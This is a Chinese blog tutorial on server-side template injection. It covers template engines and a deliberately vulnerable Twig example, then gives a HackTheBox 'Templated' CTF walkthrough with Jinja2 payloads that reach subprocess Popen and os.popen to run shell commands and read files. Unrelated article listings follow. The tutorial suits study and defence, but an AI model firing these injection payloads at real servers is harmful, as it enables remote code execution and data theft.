SSTI漏洞原理及渗透测试
模板引擎(Web开发中)
是为了使 用户界面 和 业务数据(内容)分离而产生的,它可以生成特定格式的文档,
利用模板引擎来生成前端的HTML代码,模板引擎会提供一套生成HTML代码的程序,之后只需获取用户的数据,放入渲染函数,该数据便会嵌入生成好的HTML页面中
,然后反馈给浏览器,呈现在用户面前

当前的主流框架,一般都采用MVC模式,即: Model-View-Controller
,用户的输入先进入Controller控制器,然后根据清流类型和请求的指令发送给对应的Model业务模型,由Model层进行业务逻辑的判断、数据库的存取等,最后把结果返回给View视图层,再经模板引擎的渲染展示给用户
模板引擎的基本机理就是 替换(转换) : 将指定的标签转换为需要的业务数据;将指定的伪语句按照某种流程来变换输出
引用一段代码来简单说一下:
// 模板
var template = '<p>Hello,my name is <%name%>.I am <%age%> years old.</p>';// 用于匹配的正则
/*用于过滤出以<%开头,%>结尾,并且中间不包含%或>的匹配项其目的在于过滤出template中的 <%name%> 和 <%age%>
*/
var regex = /<%([^%]+)?%>/g;// 数据
var data =
{name:'Deutsh',age:22
}// 模板引擎
var TemplateEngine = function (template,data)
{// exec使用全局正则表达式意味着在循环中使用,因为它仍然会检索所有匹配的子表达式// /regex/.exec()仅返回找到的第一个匹配项while (match = regex.exec(template)){template = template.replace(match[0],data[match[1]])}return template;
}// 最终的执行在此处var string = TemplateEngine(template,data)
console.log(string)
上述代码,我们的目的是:将 数据文件 中对应的name和age替换到 模板文件 中
主要的执行在模板引擎的while函数中,match = regex.exec(template)会返回一个array,这个数组中包含了连个项目
⚠️ 为什么会包含两项呢:当正则表达式设置 g 标志位时,可以多次执行 exec 方法来查找同一个字符串中的成功匹配

之后template = template.replace(match[0],data[match[1]])等同于template = template.replace("<%name%>",data["name"]) 完成模板中数据的替换

SSTI(模板注入)Server-Side Template Injection
由前面模板代码安利的演示,我们可以发现,
若服务端接受了用户的输入后(比如对于上述案例,data的name和age的数据由数据的输入/提交/请求而得),未经任何处理就将其作为Web应用模板内容的一部分
,就会导致模板引擎在进行目标编译渲染的过程中,执行了用户插入的可执行语句,从而可能导致信息泄露、代码执行等问题

凡是使用模板的地方,SSTI是绕不过的问题,模板引擎可由多种语言实现,所以SSTI也就出现在了多种语言环境中
模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。
常见的模板引擎
- PHP
Twig模板变量: {{%s}}
Smarty模板变量: {%s}
Blade模板变量: {{%s}}
- Python
Jinja2模板变量: {{%s}}
Tornado模板变量: {{%s}}
Django模板变量: {{ }}
- Java
FreeMarker模板变量: <#%s>``${%s}
Velocity模板变量: #set($x=1+1)${x}
模板引擎众多,各个模板引擎的语法也不尽相同,我们最主要的是能定位出是否存在SSTI漏洞,至于后续的利用,我们掌握一些,其余的见到再查即可
如何测试是否存在SSTI
简单来说,就是更改请求参数使之承载含有模板引擎语法的 Payload, 通过页面渲染返回的内容检测承载的 Payload
是否有得到编译解析,有解析则可以判定含有 Payload 对应模板引擎注入 ,否则不存在 SSTI
此处我们拿来 bmjoker师傅 提供的一段示例代码
Twig模板引擎示例代码
<?phprequire_once dirname(__FILE__).'\twig\lib\Twig\Autoloader.php';Twig_Autoloader::register(true);// Twig_Loader_Array 用于定位模板 内置的加载器// Twig_Environment 来存储配置信息 内置的环境变量$twig = new Twig_Environment(new Twig_Loader_String());// render() 方法通过其第一个参数载入模板,**并通过第二个参数中的变量来渲染模板**!!重要!!// 模版含有 {{name}} 变量,其模版变量值来自于GET请求参数$_GET["name"]$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"]));// 将用户输入作为模版变量的值echo $output;
?>
这段代码中,由于 模板引擎一般都会默认对渲染的变量值进行编码和转义 。所以一般情况下并不会存在XSS等攻击的可能
若就如我们最开始的例子所说, 若模板引擎渲染的内容受我们控制了 ,就不一定了
// 上述代码基本内容不变,$output后的内容发生变化$output=$twig->render("Hello {$_GET['name']}");// 将用户输入作为模版内容的一部分
此时render函数由于缺少第二个参数,所以 直接就会把"Hello 用户的输入"拼如模板进行渲染,这就相当于改变了最初的模板,由于模板最初是由开发者定义的,所以他会受到“信任”
对于Twig模板的变量{{%s}}除了传递变量外,还可以执行表达式,最简单的表达式就是{{2*2}},这也是辨认是否存在SSTI最基本的指纹,
若我们输入{{2*2}},HTML页面返回其其结果4,就说明该表达式被解析,存在SSTI
HackTheBox–Templated
我们以HTB上的一个靶场来演示一下该漏洞的判断与利用

首先我们在浏览器中打开所给的IP:Port

题目直接提示我们本体使用的模板引擎为**Jinja2**,根据我们之前总结的各个模板引擎的变量类型,我们可以知道该变量的类型是 {{%s}}
,所以话不多说我们直接拼接尝试
payload
={{2 * 2}}

2*2被计算,确认存在SSTI模板注入
exp
本题的重点还是在利用方面:由于我们的目标是读取处于服务器本地的一个存有Flag的文件,所以我们的重点是找到一个含有某种读取文件的函数的类(Python中),我们通过查阅手册发现可以利用Popen函数完成该功能,调用该函数会返回一个文件的句柄,然后再配合read()函数读取即可
该函数会执行fork一个子进程执行command这个命令,同时将子进程的标准输出通过管道连接到父进程,对于文件在父进程调用read()读取即可,对于命令在父进程会被执行
那么下面的重点就是,如何找到Popen这个函数所属的类,一般有两种方法,我们先说第一种
由于我们想要找的是一个子类,所以第一步即使找到其对象基类 即class 'object',为了达到这步,我们可以使用__mro__属性来访问对象的继承类,但我们目前没有对象,所以这里我们就构造一个 空字符串 :
{{"".__class__.__mro__}}其中__class__用于返回调用的参数类型

可以看出该子类继承自class'str'与class 'object'并以一个元组返回,我们通过索引获得对象类
{{"".__class__.__mro__[1]}}

接下来,我们要列举出所有集成自object的子类,通过对该对象调用__subclasses__方法
{{"".__class__.__mro__[1].__subclasses__()}}

但这有一个明显的缺点就是,好家伙,这么多子类,怎么可能找得到, 为了缩小范围我们对其进行切片
{{"".__class__.__mro__[1].__subclasses__()[400:]}}查找400个以后的元素

成功定位其位置,处于滴414号位置
{{"".__class__.__mro__[1].__subclasses__()[414]}}
然后我们为该函数传递参数调用即可
{{"".__class__.__mro__[1].__subclasses__()[414]("ls",shell=True,stdout=-1).communicate()}}
查看本地文件,发现flag.txt

Popen.communicate()
与进程交互:将数据发送到标准输入。从 stdout 和 stderr 读取数据,直到到达文件结尾
之后我们直接cat他就看见啦~~~~
{{"".__class__.__mro__[1].__subclasses__()[414]("cat flag.txt",shell=True,stdout=-1).communicate()}}
Python中常用的一些魔术方法
-
__dict__:保存类实例或对象实例的属性变量键值对字典 -
__class__:返回调用的参数类型 -
__mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 寻找基类 -
__bases__:返回类型列表 寻找基类 -
__subclasses__:返回object的子类 -
__init__:类的初始化方法 -
__globals__:函数会以字典类型返回当前位置的全部全局变量 与func_globals等价
exp2
这里我们还有一种方法,使用全局下的内置模块引用__builtins__(指向__builtin__)
在Python中,有一个内建模块,该模块中有一些常用函数;而该模块在Python启动后、且没有执行程序员所写的任何代码前,Python会首先加载
该内建函数到内存
{{"".__class__.__bases__[0].__subclasses__()[1500].__init__.__globals__['__builtins__']['__import__']("os").popen("cat flag.txt").read()}}
同样,我们获取基本类后,继续向下获取基本类(object)的子类,然后init初始化类,globals全局来查找所有的方法及变量和参数并查看其内建模块的引用

使用内建模块中的__import__引入os库,并适用其中的popen函数读取flag.txt即可

注意:
该exp中,对子类的选择subclasses()[1500]时,经测试大多数子类中都包含内建模块的引用,但依旧有不少不包含,要注意
我们使用burp将子类的选择加为参数进行爆破

遍历出(以下截图中Payload的子类号都可以引用,具有**__builtins__**)

以下为不可以使用的(由此可看出号往大了写就对了~)

最后
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【扫下方二维码】免费领取:

相关文章:
SSTI漏洞原理及渗透测试
模板引擎(Web开发中) 是为了使 用户界面 和 业务数据(内容)分离而产生的,它可以生成特定格式的文档, 利用模板引擎来生成前端的HTML代码,模板引擎会提供一套生成HTML代码的程序,之后…...
【算法基础】高精度除法
👦个人主页:Weraphael ✍🏻作者简介:目前是C语言 算法学习者 ✈️专栏:【C/C】算法 🐋 希望大家多多支持,咱一起进步!😁 如果文章对你有帮助的话 欢迎 评论💬…...
optimizer.zero_grad(), loss.backward(), optimizer.step()的理解及使用
optimizer.zero_grad,loss.backward,optimizer.step用法介绍optimizer.zero_grad():loss.backward():optimizer.step():用法介绍 这三个函数的作用是将梯度归零(optimizer.zero_grad())&#x…...
融资、量产和一栈式布局,这家Tier 1如此备战高阶智驾决赛圈
作者 | Bruce 编辑 | 于婷从早期的ADAS,到高速/城市NOA,智能驾驶的竞争正逐渐升级,这对于车企和供应商的核心技术和产品布局都是一个重要的考验。 部分智驾供应商已经在囤积粮草,响应变化。 2023刚一开年,智能驾驶领域…...
centos7.8安装oralce11g
文章目录环境安装文件准备添加用户操作系统环境配置解压安装问题解决创建用户远程连接为了熟悉rman备份操作,参照大神的博客在centos中安装了一套oracle11g,将安装步骤记录如下环境安装文件准备 这里准备一台centos7.8 虚拟机 配置ip 192.168.18.100 主…...
【蓝桥杯集训·每日一题】AcWing 3956. 截断数组
文章目录一、题目1、原题链接2、题目描述二、解题报告1、思路分析2、时间复杂度3、代码详解三、知识风暴一维前缀和一、题目 1、原题链接 3956. 截断数组 2、题目描述 给定一个长度为 n 的数组 a1,a2,…,an。 现在,要将该数组从中间截断,得到三个非空子…...
万丈高楼平地起:Linux常用命令
目录 系统管理命令 man命令 ls命令 cd命令 useradd命令 passwd命令 free命令 whoami命令 ps命令 date命令 pwd命令 shutdown命令 文件目录管理命令 touch命令 cat命令 mkdir命令 rm命令 cp命令 mv命令 find命令 more指令 less指令 head指令 tail指令 …...
Linux(Linux的连接使用)
连接Linux我们一般使用CRT或者Xshell工具进行连接使用。 如CRT使用SSH的方式 输出主机,账户,密码那些就可以连接上了。 Linux系统是一个文件型操作系统,有一句话说Linux的一切皆是文件。Linux系统的启动大致有下面几个步骤 Linux系统有7个运…...
Unity中画2D图表(2)——用XChart包绘制散点分布图 + 一条直线方程
散点图用于显示关系。 对于 【相关性】 ,散点图有助于显示两个变量之间线性关系的强度。 对于 【回归】 ,散点图常常会添加拟合线。 举例1:你可以展示【年降雨量】与【玉米亩产量】的关系 举例2:你也可以分析各个【节假日】与【大…...
Go 排序包 sort
写在前面的使用总结: 排序结构体 实现Len,Less,Swap三个函数 package main import ( "fmt" "sort") type StuScore struct { name string score int } type StuScores []StuScore func (s StuScores) Len(…...
Java Email 发HTML邮件工具 采用 freemarker模板引擎渲染
Java Email 发HTML邮件工具 采用 freemarker模板引擎 1.常用方式对比 Java发送邮件有很多的实现方式 第一种:Java 原生发邮件mail.jar和activation.jar <!-- https://mvnrepository.com/artifact/javax.mail/mail --> <dependency><groupId>jav…...
CNI 网络流量分析(六)Calico 介绍与原理(二)
文章目录CNI 网络流量分析(六)Calico 介绍与原理(二)CNIIPAM指定 IP指定非 IPAM IPCNI 网络流量分析(六)Calico 介绍与原理(二) CNI 支持多种 datapath,默认是 linuxDa…...
短视频标题的几种类型和闭坑注意事项
目录 短视频标题的几种类型 1、悬念式 2、蹭热门式 3、干货式 4、对比式方法 5、总分/分总式方法 6、挑战式方式 7、启发激励式 8、讲故事式 02注意事项 1、避免使用冷门、生僻词汇 标题是点睛之笔,核心是视频内容 短视频标题的几种类型 1、悬念式 通过…...
操作系统——1.操作系统的概念、定义和目标
目录 1.概念 1.1 操作系统的种类 1.2电脑的组成 1.3电脑组成的介绍 1.4操作系统的概念(定义) 2.操作系统的功能和目标 2.1概述 2.2 操作系统作为系统资源的管理者 2.3 操作系统作为用户和计算机硬件间的接口 2.3.1用户接口的解释 2.3.2 GUI 2.3.3接…...
【html弹框拖拽和div拖拽功能】原生html页面引入vue语法后通过自定义指令简单实现div和弹框拖拽功能
前言 这是html版本的。只是引用了vue的语法。 这是很多公司会出现的一种情况,就是原生的页面,引入vue的语法开发 这就导致有些vue上很简单的功能。放到这里需要转换一下 以前写过一个vue版本的帖子,现在再加一个html版本的。 另一个vue版本…...
2023新华为OD机试题 - 计算网络信号(JavaScript) | 刷完必过
计算网络信号 题目 网络信号经过传递会逐层衰减,且遇到阻隔物无法直接穿透,在此情况下需要计算某个位置的网络信号值。 注意:网络信号可以绕过阻隔物 array[m][n] 的二维数组代表网格地图,array[i][j] = 0代表 i 行 j 列是空旷位置;array[i][j] = x(x 为正整数)代表 i 行 …...
27.边缘系统的架构
文章目录27 Architecures for the Edge 边缘系统的架构27.1 The Ecosystem of Edge-Dominant Systems 边缘主导系统的生态系统27.2 Changes to the Software Development Life Cycle 软件开发生命周期的变化27.3 Implications for Architecture 对架构的影响27.4 Implications …...
机器学习强基计划8-1:图解主成分分析PCA算法(附Python实现)
目录0 写在前面1 为什么要降维?2 主成分分析原理3 PCA与SVD的联系4 Python实现0 写在前面 机器学习强基计划聚焦深度和广度,加深对机器学习模型的理解与应用。“深”在详细推导算法模型背后的数学原理;“广”在分析多个机器学习模型…...
Hudi-集成Spark之spark-shell 方式
Hudi集成Spark之spark-shell 方式 启动 spark-shell (1)启动命令 #针对Spark 3.2 spark-shell \--conf spark.serializerorg.apache.spark.serializer.KryoSerializer \--conf spark.sql.catalog.spark_catalogorg.apache.spark.sql.hudi.catalog.Hoo…...
Python爬虫:从js逆向了解西瓜视频的下载链接的生成
前言 最近花费了几天时间,想获取西瓜视频这个平台上某个视频的下载链接,运用js逆向进行获取。其实,如果小编一开始就注意到这一点(就是在做js逆向时,打了断点之后,然后执行相关代码,查看相关变量的值,结果一下子就蹦出很多视频相关的数据,查看了网站下的相关api链接,也…...
【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型
摘要 拍照搜题系统采用“三层管道(多模态 OCR → 语义检索 → 答案渲染)、两级检索(倒排 BM25 向量 HNSW)并以大语言模型兜底”的整体框架: 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后,分别用…...
AtCoder 第409场初级竞赛 A~E题解
A Conflict 【题目链接】 原题链接:A - Conflict 【考点】 枚举 【题目大意】 找到是否有两人都想要的物品。 【解析】 遍历两端字符串,只有在同时为 o 时输出 Yes 并结束程序,否则输出 No。 【难度】 GESP三级 【代码参考】 #i…...
服务器硬防的应用场景都有哪些?
服务器硬防是指一种通过硬件设备层面的安全措施来防御服务器系统受到网络攻击的方式,避免服务器受到各种恶意攻击和网络威胁,那么,服务器硬防通常都会应用在哪些场景当中呢? 硬防服务器中一般会配备入侵检测系统和预防系统&#x…...
智能在线客服平台:数字化时代企业连接用户的 AI 中枢
随着互联网技术的飞速发展,消费者期望能够随时随地与企业进行交流。在线客服平台作为连接企业与客户的重要桥梁,不仅优化了客户体验,还提升了企业的服务效率和市场竞争力。本文将探讨在线客服平台的重要性、技术进展、实际应用,并…...
转转集团旗下首家二手多品类循环仓店“超级转转”开业
6月9日,国内领先的循环经济企业转转集团旗下首家二手多品类循环仓店“超级转转”正式开业。 转转集团创始人兼CEO黄炜、转转循环时尚发起人朱珠、转转集团COO兼红布林CEO胡伟琨、王府井集团副总裁祝捷等出席了开业剪彩仪式。 据「TMT星球」了解,“超级…...
生成 Git SSH 证书
🔑 1. 生成 SSH 密钥对 在终端(Windows 使用 Git Bash,Mac/Linux 使用 Terminal)执行命令: ssh-keygen -t rsa -b 4096 -C "your_emailexample.com" 参数说明: -t rsa&#x…...
【Web 进阶篇】优雅的接口设计:统一响应、全局异常处理与参数校验
系列回顾: 在上一篇中,我们成功地为应用集成了数据库,并使用 Spring Data JPA 实现了基本的 CRUD API。我们的应用现在能“记忆”数据了!但是,如果你仔细审视那些 API,会发现它们还很“粗糙”:有…...
鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个生活电费的缴纳和查询小程序
一、项目初始化与配置 1. 创建项目 ohpm init harmony/utility-payment-app 2. 配置权限 // module.json5 {"requestPermissions": [{"name": "ohos.permission.INTERNET"},{"name": "ohos.permission.GET_NETWORK_INFO"…...
C++ 求圆面积的程序(Program to find area of a circle)
给定半径r,求圆的面积。圆的面积应精确到小数点后5位。 例子: 输入:r 5 输出:78.53982 解释:由于面积 PI * r * r 3.14159265358979323846 * 5 * 5 78.53982,因为我们只保留小数点后 5 位数字。 输…...
CRMEB 框架中 PHP 上传扩展开发:涵盖本地上传及阿里云 OSS、腾讯云 COS、七牛云
目前已有本地上传、阿里云OSS上传、腾讯云COS上传、七牛云上传扩展 扩展入口文件 文件目录 crmeb\services\upload\Upload.php namespace crmeb\services\upload;use crmeb\basic\BaseManager; use think\facade\Config;/*** Class Upload* package crmeb\services\upload* …...
